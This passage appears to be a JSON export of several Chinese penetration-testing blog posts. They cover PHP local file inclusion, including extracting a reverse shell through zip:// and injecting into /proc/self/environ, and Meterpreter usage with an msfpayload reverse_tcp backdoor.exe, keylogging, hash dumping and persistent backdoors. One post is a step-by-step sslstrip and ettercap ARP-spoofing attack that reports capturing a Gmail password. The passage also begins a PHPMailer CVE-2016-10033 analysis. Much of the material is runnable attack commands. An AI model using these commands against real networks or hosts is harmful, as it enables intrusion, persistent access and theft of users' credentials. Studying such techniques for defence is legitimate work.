file://封装\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e下图是一个带有payload的POST请求：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/15a000015ecb1b7d68db\"\u003e\u003c/p\u003e\n\u003cp\u003e下图利用php://input攻击DVWA，包含了一个“ls”命令，如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/159f0003bdaa8f6f3974\"\u003e\u003c/p\u003e\n\u003cp\u003e攻击后的响应情况如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/15a200014a2b841c7245\"\u003e\u003c/p\u003e\n\u003cp\u003ePHP php://filter\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003ePHP php://filter允许渗透测试人员包含本地文件，并将输出数据用BASE64编码。当然，用BASE64编码的输出数据需要经过解码，还原出原始内容。\u003c/p\u003e\n\u003cp\u003e攻击实例如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/159d000432fa54c9446e\"\u003e\u003c/p\u003e\n\u003cp\u003e运行结果如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p1.pstatp.com/large/159d000432fba3a3d141\"\u003e\u003c/p\u003e\n\u003cp\u003e然后对输出结果进行BASE64解码。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/15a000015ecf9d498372\"\u003e\u003c/p\u003e\n\u003cp\u003e如上所示，已经还原出原始内容。\u003c/p\u003e\n\u003cp\u003e当然，php://filter也可以在不用BASE64编码(编码应该是为了隐藏目的)的情况下输出结果：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/1539000346cbb8b460e9\"\u003e\u003c/p\u003e\n\u003cp\u003e结果如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p1.pstatp.com/large/1539000346cc0c430278\"\u003e\u003c/p\u003e\n\u003cp\u003ePHP ZIP封装LFI\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003ePHP ZIP封装主要在服务器端处理上传的.zip文件，攻击者可以通过一个存在漏洞的文件上传功能，上传一个ZIP文件，并通过LFI来执行服务器端的ZIP过滤器。一个典型的攻击实例看起来是这样的：\u003c/p\u003e\n\u003cp\u003e1.创建一个PHP反弹SHELL(SHELL.php)。\u003c/p\u003e\n\u003cp\u003e2.将其压缩成一个.zip文件。\u003c/p\u003e\n\u003cp\u003e3.将这个.zip文件上传到远程服务器。\u003c/p\u003e\n\u003cp\u003e4.利用PHP ZIP封装提取PHP SHELL，使用“php?page=zip://path/to/file.zip%23shell”。\u003c/p\u003e\n\u003cp\u003e5.上面的命令会将提取的文件存储为名为SHELL.php的文件，如果服务器端没有添加.php后缀，可以通过重命名来添加。\u003c/p\u003e\n\u003cp\u003e如果文件上传功能不允许上传ZIP文件，可以尝试利用各种方法绕过文件上传限制(参见: OWASP file upload testing document)。\u003c/p\u003e\n\u003cp\u003e通过/proc/self/environ执行LFI\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e通过本地文件包含漏洞,查看是否可以包含/proc/self/environ文件。然后向User-Agent头中注入PHP代码有可能会攻击成功。如果代码被成功注入到User-Agent头中，本地文件包含漏洞会利用并执行/proc/self/environ，用于重新加载环境变量，最后会执行你的反弹shell。\u003c/p\u003e\n\u003cp\u003e空字节技术\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e通过在URL编码中增加“空字节”，比如“00%”，在某些情况下能绕过WEB应用程序中的过滤。通常，增加空字符后，后端的WEB应用程序对该输入有可能会放行或不处理，从而可以绕过WEB应用黑名单过滤器。\u003c/p\u003e\n\u003cp\u003e下面是一些特殊的LFI空字节注入的实例：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/15a000015ece71b0e7e6\"\u003e\u003c/p\u003e\n\u003cp\u003e截断LFI绕过\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e截断是另一个绕过黑名单的技术，通过向有漏洞的文件包含机制中注入一个长的参数，WEB应用有可能会“砍掉它”(截断)输入的参数，从而有可能绕过输入过滤。\u003c/p\u003e","title":"渗透测试技术之本地文件包含"},{"content":"0x01 背景 meterpreter作为后渗透模块有多种类型，并且命令由核心命令和扩展库命令组成，极大的丰富了攻击方式。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll，所以在网络不稳定的情况下经常出现没有可执行命令，或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况，别担心结束了之后再来一次，喝杯茶就好了。\n0x02 常用类型 reverse_tcp path : payload/windows/meterpreter/reverse_tcp\nmsfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X \u0026gt; ～/Desktop/backdoor.exe 反向连接shell,使用起来很稳定。需要设置LHOST。\nbind_tcp path : payload/windows/meterpreter/bind_tcp\n正向连接shell，因为在内网跨网段时无法连接到attack的机器，所以在内网中经常会使用，不需要设置LHOST。\nreverse_http/https path: payload/windows/meterpreter/reverse_http/https\n通过http/https的方式反向连接，在网速慢的情况下不稳定，在某博客上看到https如果反弹没有收到数据，可以将监听端口换成443试试。\n0x03 基本命令 常用的有\nbackground：将当前会话放置后台 load/use：加载模块 Interact：切换进一个信道 migrate：迁移进程 run：执行一个已有的模块，这里要说的是输入run后按两下tab，会列出所有的已有的脚本，常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。 Resource：执行一个已有的rc脚本。 0x04 常用扩展库介绍 meterpreter中不仅有基本命令还有很多扩展库，load/use之后再输入help，就可以看到关于这个模块的命令说明了。\nstdapi command 文件相关 stdapi中有关于文件读写，上传下载，目录切换，截屏，摄像头，键盘记录，和系统相关的命令。 常用的当然就是文件操作及网络有关的命令。 通常我会用upload和download进行文件上传和下载，注意在meterpreter中也可以切换目录，当然也可以编辑文件。所以就不用运行shell再用echo写。\n使用edit命令时需要注意编辑的是一个存在的文件，edit不能新建文件。 输入edit + 文件后就会调用vi编辑了。\n网络相关 网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd：\n在建立规则之后就可以连接本地3344端口，这样远程的3389端口就转发出来了。\n键盘监听 这里需要注意一下windows会话窗口的概念，windows桌面划分为不同的会话(session)，以便于与windows交互。会话0代表控制台，1，2代表远程桌面。所以要截获键盘输入必须在0中进行。可 以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。\n如果不行就切换到explorer.exe进程中，这样也可以监听到远程桌面连接进来之后的键盘输入数据。\nmimikatz 这个不多介绍，只是因为这样抓到的hash可以存进数据库方便之后调用，不知道有没有什么方法可以快速的用第三方工具抓到hash/明文然后存进数据库。\n这里是因为我的用户本身就没有密码。\nsniffer 就是不知道能不能把包保存在victim上，然后后期再下下来，待实战考证。\n0x05使用自定脚本 这里的脚本可以是rc脚本，也可以是ruby脚本，metasploit已经有很多自定义脚本了。比如上面说过的arp_scanner,hashdump。这些脚本都是用ruby编写，所以对于后期自定义修改来说非常方便，这里介绍一个很常见的脚本scraper，它将目标机器上的常见信息收集起来然后下载保存在本地。推荐这个脚本是因为这个过程非常不错。可以加入自定义的命令等等。\n/.msf4/logs/ 下保存了所有脚本需要保存的日志记录，当然不只这一个脚本。同样.msf4文件夹下还保存了其他东西，比如输入过的命令，msf运行过程的日志等。 Scraper脚本将保存结果在 /.msf4/logs/scripts/scraper/ 下。\n0x06 持续性后门 metasploit自带的后门有两种方式启动的，一种是通过服务启动(metsvc)，一种是通过启动项启动(persistence) 优缺点各异:metsvc是通过服务启动，但是服务名是meterpreter,脚本代码见图，\n这里需要上传三个文件，然后用metsvc.exe 安装服务。不知道服务名能不能通过修改metsvc.exe达到。 安装过程和回连过程都很简单\n下次回连时使用windows/metsvc_bind_tcp的payload就可以。\n0x07 后记 meterpreter提供了很多攻击或收集信息的脚本，并且还有很多API(具体参考官方文档)，及扩展。在对ruby代码理解的程度上，如果能根据目标环境和现状修改现有脚本或编写自己的脚本则能够极大的提高效率，获得预期的结果。\n","permalink":"https://www.lucien116.com/archives/244/","summary":"\u003ch2 id=\"0x01-背景\"\u003e0x01 背景\u003c/h2\u003e\n\u003chr\u003e\n\u003cp\u003emeterpreter作为后渗透模块有多种类型，并且命令由核心命令和扩展库命令组成，极大的丰富了攻击方式。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll，所以在网络不稳定的情况下经常出现没有可执行命令，或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况，别担心结束了之后再来一次，喝杯茶就好了。\u003c/p\u003e\n\u003ch2 id=\"0x02-常用类型\"\u003e0x02 常用类型\u003c/h2\u003e\n\u003chr\u003e\n\u003ch3 id=\"reverse_tcp\"\u003ereverse_tcp\u003c/h3\u003e\n\u003cp\u003epath : payload/windows/meterpreter/reverse_tcp\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003emsfpayload\u003c/span\u003e \u003cspan class=\"n\"\u003ewindows\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003emeterpreter\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ereverse_tcp\u003c/span\u003e \u003cspan class=\"n\"\u003eLHOST\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mf\"\u003e192.168\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mf\"\u003e1.130\u003c/span\u003e \u003cspan class=\"n\"\u003eLPORT\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e8080\u003c/span\u003e \u003cspan class=\"n\"\u003eX\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"err\"\u003e～\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eDesktop\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ebackdoor\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexe\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://www.evil0x.com/wp-content/uploads/2014/06/11.png\"\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://www.evil0x.com/wp-content/uploads/2014/06/21.png\"\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://www.evil0x.com/wp-content/uploads/2014/06/31.png\"\u003e\u003c/p\u003e\n\u003cp\u003e反向连接shell,使用起来很稳定。需要设置LHOST。\u003c/p\u003e\n\u003ch3 id=\"bind_tcp\"\u003ebind_tcp\u003c/h3\u003e\n\u003cp\u003epath : payload/windows/meterpreter/bind_tcp\u003c/p\u003e\n\u003cp\u003e正向连接shell，因为在内网跨网段时无法连接到attack的机器，所以在内网中经常会使用，不需要设置LHOST。\u003c/p\u003e\n\u003ch3 id=\"reverse_httphttps\"\u003ereverse_http/https\u003c/h3\u003e\n\u003cp\u003epath: \u003ccode\u003epayload/windows/meterpreter/reverse_http/https\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e通过http/https的方式反向连接，在网速慢的情况下不稳定，在某博客上看到https如果反弹没有收到数据，可以将监听端口换成443试试。\u003c/p\u003e\n\u003ch2 id=\"0x03-基本命令\"\u003e0x03 基本命令\u003c/h2\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://www.evil0x.com/wp-content/uploads/2014/06/41.png\"\u003e\u003c/p\u003e\n\u003cp\u003e常用的有\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ebackground\u003c/span\u003e\u003cspan class=\"err\"\u003e：将当前会话放置后台\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003euse\u003c/span\u003e\u003cspan class=\"err\"\u003e：加载模块\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eInteract\u003c/span\u003e\u003cspan class=\"err\"\u003e：切换进一个信道\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003emigrate\u003c/span\u003e\u003cspan class=\"err\"\u003e：迁移进程\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003erun\u003c/span\u003e\u003cspan class=\"err\"\u003e：执行一个已有的模块，这里要说的是输入\u003c/span\u003e\u003cspan class=\"n\"\u003erun后按两下tab\u003c/span\u003e\u003cspan class=\"err\"\u003e，会列出所有的已有的脚本，常用的有\u003c/span\u003e\u003cspan class=\"n\"\u003eautoroute\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ehashdump\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003earp_scanner\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003emulti_meter_inject等\u003c/span\u003e\u003cspan class=\"err\"\u003e。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ne\"\u003eResource\u003c/span\u003e\u003cspan class=\"err\"\u003e：执行一个已有的\u003c/span\u003e\u003cspan class=\"n\"\u003erc脚本\u003c/span\u003e\u003cspan class=\"err\"\u003e。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"0x04-常用扩展库介绍\"\u003e0x04 常用扩展库介绍\u003c/h2\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://www.evil0x.com/wp-content/uploads/2014/06/5.png\"\u003e\u003c/p\u003e\n\u003cp\u003emeterpreter中不仅有基本命令还有很多扩展库，load/use之后再输入help，就可以看到关于这个模块的命令说明了。\u003c/p\u003e\n\u003ch2 id=\"stdapi-command\"\u003estdapi command\u003c/h2\u003e\n\u003ch3 id=\"文件相关\"\u003e文件相关\u003c/h3\u003e\n\u003cp\u003estdapi中有关于文件读写，上传下载，目录切换，截屏，摄像头，键盘记录，和系统相关的命令。 常用的当然就是文件操作及网络有关的命令。 通常我会用upload和download进行文件上传和下载，注意在meterpreter中也可以切换目录，当然也可以编辑文件。所以就不用运行shell再用echo写。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://www.evil0x.com/wp-content/uploads/2014/06/6.png\"\u003e\u003c/p\u003e\n\u003cp\u003e使用edit命令时需要注意编辑的是一个存在的文件，edit不能新建文件。 输入edit + 文件后就会调用vi编辑了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://www.evil0x.com/wp-content/uploads/2014/06/7.png\"\u003e\u003c/p\u003e","title":"Metasploit 渗透测试笔记(Meterpreter篇)"},{"content":"本教程不是原创，是使用黑帽大会上Moxie Marlinspike发布的一款叫sslstrip的工具，配合ettercap进行arp欺骗，可以突破经过ssl加密的协议(如https等，一种被动使用https协议的会受到攻击），进行局域网arp嗅探获得口令等信息。 准备工作： 下载sslstrip:\nwget http://www.thoughtcrime.org/software/sslstrip-0.7.tar.gz 访问 这里 获得更多帮助:\nhttp://www.thoughtcrime.org/software/sslstrip/ 安装： 切换到下载目录执行：\npython setup.py install 开始之前先要打开 ip_forword转发，否而会出现一些错误，感兴趣的可以查找相关资料并自行测试…纸上得来终觉浅，屏幕上就更浅了，实践出真知\necho “1”\u0026gt;/proc/sys/net/ipv4/ip_forward 使用Iptables过滤数据包\niptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000 通过iptables 把所有http数据导入到10000端口，我们用sslstrip监听10000端口，并得到我们想要的数据\n参数讲解:\n-t:命令要操作匹配的表（net这个表表示被查询时遇到了新差生的连接包） Net表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT（修改路由之前本地的包）、POSTROUTING(修改准备出去的包) -A表示在选择的链后加入更多选项 –p指被过滤包的协议 –destination-port 80指被过滤包的目的端口是80 -j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输 然后我们使用sslstrip监听10000端口\nsslstrip -l 10000 利用ettercap进行arp欺骗\n前面一些文章已经讲过了关于DNS和ARP中间人攻击的例子，大家可以翻出来看看。\nettercap使用方法，参数详解：\n-P 使用插件 -T 使用基于文本界面 -q 启动安静模式（不回显） -M 启动ARP欺骗攻击 // // 代表欺骗的子网网络，如果网络中有多个主机的话，可以在第一个//中加上目标主机，第二个//中加上网关路由ip。\n此外我们可以综合这些参数使用。\nettercap –T –q –M arp:remote /192.168.1.101/ // Ettercap默认就会过滤密码，我们也不需要指定过滤脚本\nOk开始测试\necho “1”\u0026gt;/proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000 sslstrip -l 10000 会在运行的当前目录生成sslstrip.log我们用ettercap不看这个也可以~~~\nArp欺骗开始，我对我的物理机192.168.1.101进行攻击测试\nettercap –T –q –M arp:remote /192.168.1.101/ // 好的开始了，我登陆gmail看看 Ettercap成功截获到了gmail的密码~~~\n这里用ettercap密码非常方便就看到了也可以查看sslstrip的日志文件，也是保存了我们的密码\n严禁用于攻击别人银行等账号！这是一种盗窃！\n下面说下防御\nSslstrip的攻击方式是一种中间人攻击，需要进行arp欺骗，所以在设置好浏览器本身安全的基础上，要绑定mac和ip等在网关和本机双向绑定，或者启用arp防火墙对arp攻击进行防御\n","permalink":"https://www.lucien116.com/archives/242/","summary":"\u003cp\u003e\u003cstrong\u003e本教程不是原创，是使用黑帽大会上Moxie Marlinspike发布的一款叫sslstrip的工具，配合ettercap进行arp欺骗，可以突破经过ssl加密的协议(如https等，一种被动使用https协议的会受到攻击），进行局域网arp嗅探获得口令等信息。\u003c/strong\u003e \u003cstrong\u003e准备工作：\u003c/strong\u003e \u003ca href=\"http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz\"\u003e下载sslstrip\u003c/a\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ewget http://www.thoughtcrime.org/software/sslstrip-0.7.tar.gz\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e访问 \u003ca href=\"http://www.thoughtcrime.org/software/sslstrip/\"\u003e这里\u003c/a\u003e 获得更多帮助:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ehttp://www.thoughtcrime.org/software/sslstrip/\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e安装：\u003c/strong\u003e 切换到下载目录执行：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epython setup.py install\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e开始之前先要打开 \u003cstrong\u003eip_forword转发\u003c/strong\u003e，否而会出现一些错误，感兴趣的可以查找相关资料并自行测试…纸上得来终觉浅，屏幕上就更浅了，实践出真知\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eecho “1”\u0026gt;/proc/sys/net/ipv4/ip_forward\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用Iptables过滤数据包\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eiptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过iptables 把所有http数据导入到10000端口，我们用sslstrip监听10000端口，并得到我们想要的数据\u003c/p\u003e\n\u003cp\u003e参数讲解:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e-t:命令要操作匹配的表（net这个表表示被查询时遇到了新差生的连接包）\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNet表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT（修改路由之前本地的包）、POSTROUTING(修改准备出去的包)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e-A表示在选择的链后加入更多选项\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e–p指被过滤包的协议\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e–destination-port 80指被过滤包的目的端口是80 -j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后我们使用sslstrip监听10000端口\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esslstrip -l 10000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e利用ettercap进行arp欺骗\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e前面一些文章已经讲过了关于DNS和ARP中间人攻击的例子，大家可以翻出来看看。\u003c/p\u003e\n\u003cp\u003eettercap使用方法，参数详解：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e-P  使用插件\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e-T  使用基于文本界面\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e-q  启动安静模式（不回显）\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e-M  启动ARP欺骗攻击\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e//  //  代表欺骗的子网网络，如果网络中有多个主机的话，可以在第一个//中加上目标主机，第二个//中加上网关路由ip。\u003c/p\u003e\n\u003cp\u003e此外我们可以综合这些参数使用。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eettercap –T –q –M arp:remote /192.168.1.101/ //\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eEttercap默认就会过滤密码，我们也不需要指定过滤脚本\u003c/p\u003e","title":"利用sslstrip和ettercap突破ssl嗅探密码"},{"content":"来源： https://blog.chaitin.cn/phpmailer-cve-2016-10033/\n作者： phithon@长亭科技\nPHPMailer是一个基于PHP语言的邮件发送组件，被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。\nCVE-2016-10033是PHPMailer中存在的高危安全漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。\n对比一下新老版本： https://github.com/PHPMailer/PHPMailer/compare/v5.2.17\u0026hellip;master 其实答案呼之欲出了——和Roundcube的RCE类似，mail函数的第五个参数，传命令参数的地方没有进行转义。\n回顾一下当时Roundcube的漏洞：因为mail函数最终是调用的系统的sendmail进行邮件发送，而sendmail支持-X参数，通过这个参数可以将日志写入指定文件。可以写文件，当然就可以写shell，造成RCE了。\n详细分析一下，下载一份源码，并切换到5.2.17版本：\ngit clone https://github.com/PHPMailer/PHPMailer cd PHPMailer git checkout -b CVE-2016-10033 v5.2.17 单步调试可以发现确实和之前Roundcube出现的漏洞（ http://wiki.ioin.in/search?word=roundcube ）一样，是传给mail函数的第五个参数没有正确过滤：\n但上图是错的，因为这里是不支持bash的一些语法的，也就是说反引号、 ${IFS} 都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测，这导致我们无法构造出像Roundcube那些可以直接写文件的payload，检测部分的代码如下：\n/** * Check that a string looks like an email address. * @param string $address The email address to check * @param string|callable $patternselect A selector for the validation pattern to use : * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE \u0026gt; 8.0, PHP \u0026gt;= 5.3.2, 5.2.14; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for \u0026#39;email\u0026#39; type form input elements. * * `noregex` Don\u0026#39;t use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * PHPMailer::validateAddress(\u0026#39;user@example.com\u0026#39;, function($address) { * return (strpos($address, \u0026#39;@\u0026#39;) !== false); * }); * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * @return boolean * @static * @access public */ public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it\u0026#39;s valid RFC5322, but not RFC5321 if (strpos($address, \u0026#34;\\n\u0026#34;) !== false or strpos($address, \u0026#34;\\r\u0026#34;) !== false) { return false; } if (!$patternselect or $patternselect == \u0026#39;auto\u0026#39;) { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined(\u0026#39;PCRE_VERSION\u0026#39;)) { //This pattern can get stuck in a recursive loop in PCRE \u0026lt;= 8.0.2 if (version_compare(PCRE_VERSION, \u0026#39;8.0.3\u0026#39;) \u0026gt;= 0) { $patternselect = \u0026#39;pcre8\u0026#39;; } else { $patternselect = \u0026#39;pcre\u0026#39;; } } elseif (function_exists(\u0026#39;extension_loaded\u0026#39;) and extension_loaded(\u0026#39;pcre\u0026#39;)) { //Fall back to older PCRE $patternselect = \u0026#39;pcre\u0026#39;; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, \u0026#39;5.2.0\u0026#39;) \u0026gt;= 0) { $patternselect = \u0026#39;php\u0026#39;; } else { $patternselect = \u0026#39;noregex\u0026#39;; } } } switch ($patternselect) { case \u0026#39;pcre8\u0026#39;: /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link 